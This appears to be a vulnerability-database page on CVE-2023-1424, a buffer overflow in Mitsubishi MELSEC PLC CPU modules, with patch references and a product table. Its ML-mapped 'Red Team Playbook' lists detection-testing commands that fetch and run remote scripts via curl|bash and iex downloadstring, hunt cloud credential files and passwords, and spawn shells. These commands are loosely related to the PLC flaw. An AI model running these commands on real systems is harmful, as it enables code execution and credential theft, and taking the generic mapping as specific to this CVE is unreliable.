CVE-2023-1424
Overview
This vulnerability is a classic buffer overflow caused by improper bounds checking during buffer copy operations within the Mitsubishi Electric MELSEC iQ-F and iQ-R Series CPU modules. The root cause lies in the failure to validate the size of input data before copying it into fixed-size buffers, leading to memory corruption. The affected components include the firmware handling network packet processing in these PLC CPU modules.
Vulnerability Description
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in Mitsubishi Electric Corporation MELSEC iQ-F Series CPU modules and MELSEC iQ-R Series CPU modules allows a remote unauthenticated attacker to cause a denial of service (DoS) condition or execute malicious code on a target product by sending specially crafted packets. A system reset of the product is required for recovery from a denial of service (DoS) condition and malicious code execution.
Impact
An unauthenticated remote attacker can exploit this vulnerability to cause a denial of service by triggering a system reset or execute arbitrary malicious code on the affected PLC CPU modules. The attack requires only network access to the device, with no user interaction or privileges needed (CVSS vector AV:N/AC:L/PR:N/UI:N). Successful exploitation may disrupt industrial control processes, leading to operational downtime or safety hazards in critical infrastructure environments.
Solution
Mitsubishi Electric has released firmware updates addressing this vulnerability as detailed in their PSIRT advisory 2023-003 (https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2023-003_en.pdf). Users should upgrade affected MELSEC iQ-FX5U-32MR and FX5U-32MT firmware versions (including ds, dss, es, ess variants) to the patched releases provided by the vendor. Refer to the advisory and the CISA ICS advisory ICSA-23-143-03 for comprehensive patching instructions and mitigation guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability exists within the MELSEC iQ-F and iQ-R Series CPU modules manufactured by Mitsubishi Electric Corporation, characterized by a classic buffer overflow issue. This flaw arises from the failure to adequately check the size of input data during buffer copy operations. As a result, an attacker can exploit this vulnerability by sending specially crafted packets to the affected devices, leading to potential denial of service (DoS) conditions or the execution of arbitrary malicious code. The implications of this vulnerability are significant, as it can disrupt the normal operation of industrial control systems, which are often integral to manufacturing and critical infrastructure.
The attack vectors associated with this vulnerability are particularly concerning due to the ability for remote unauthenticated access. An attacker does not need prior access or credentials to exploit the flaw, which greatly enhances the risk profile. By sending malformed packets, the attacker can manipulate the device's memory, leading to crashes or resets. In scenarios where industrial processes are controlled by these CPU modules, such disruptions could halt production lines, compromise safety systems, or even lead to catastrophic failures in critical infrastructure. Additionally, if an attacker successfully executes malicious code, they could gain control over the device, potentially leading to further exploitation of the network or connected systems.
The real-world impact of this vulnerability extends beyond immediate operational disruptions. Businesses relying on these CPU modules may face significant financial losses due to downtime, damage to equipment, and potential regulatory penalties for failing to maintain secure systems. Furthermore, the reputational damage resulting from a successful attack can lead to a loss of customer trust and confidence. In industries such as manufacturing, energy, and transportation, where safety and reliability are paramount, the consequences of such vulnerabilities can be dire, potentially endangering lives and the environment.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware and applying security patches provided by the manufacturer is crucial in closing known vulnerabilities. Additionally, network segmentation can help isolate critical systems from less secure environments, reducing the attack surface. Intrusion detection systems (IDS) should be employed to monitor for unusual traffic patterns indicative of exploitation attempts. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the buffer overflow vulnerability in Mitsubishi Electric's MELSEC iQ-F and iQ-R Series CPU modules poses a serious threat to industrial control systems. The potential for remote exploitation without authentication amplifies the risk, making it imperative for organizations to prioritize security measures. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, businesses can better prepare themselves to defend against potential threats, ensuring the integrity and reliability of their operations.
Affected Products (39)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-32mr\/ds Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-32mr\/ds_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-32mr\/dss Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-32mr\/dss_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-32mr\/es Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-32mr\/es_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-32mr\/ess Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-32mr\/ess_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-32mt\/ds Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-32mt\/ds_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-32mt\/dss Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-32mt\/dss_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-32mt\/es Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-32mt\/es_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-32mt\/ess Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-32mt\/ess_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-64mr\/ds Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-64mr\/ds_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-64mr\/dss Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-64mr\/dss_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-64mr\/es Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-64mr\/es_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-64mr\/ess Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-64mr\/ess_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-64mt\/ds Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-64mt\/ds_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-64mt\/dss Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-64mt\/dss_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-64mt\/es Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-64mt\/es_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-64mt\/ess Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-64mt\/ess_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-80mr\/ds Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-80mr\/ds_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-80mr\/dss Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-80mr\/dss_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-80mr\/es Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-80mr\/es_firmware:-:*:*:*:*:*:*:*
|
|
|
Mitsubishielectric | Melsec Iq-Fx5u-80mr\/ess Firmware | N/A |
cpe:2.3:o:mitsubishielectric:melsec_iq-fx5u-80mr\/ess_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-1424 |
| mitsubishielectric.com |
GitHub CVE
|
https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2023-003_en.pdf |
| jvn.jp |
GitHub CVE
|
https://jvn.jp/vu/JVNVU94650413 |
| cisa.gov |
GitHub CVE
|
https://www.cisa.gov/news-events/ics-advisories/icsa-23-143-03 |
| talosintelligence.com |
NVD API
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1727 |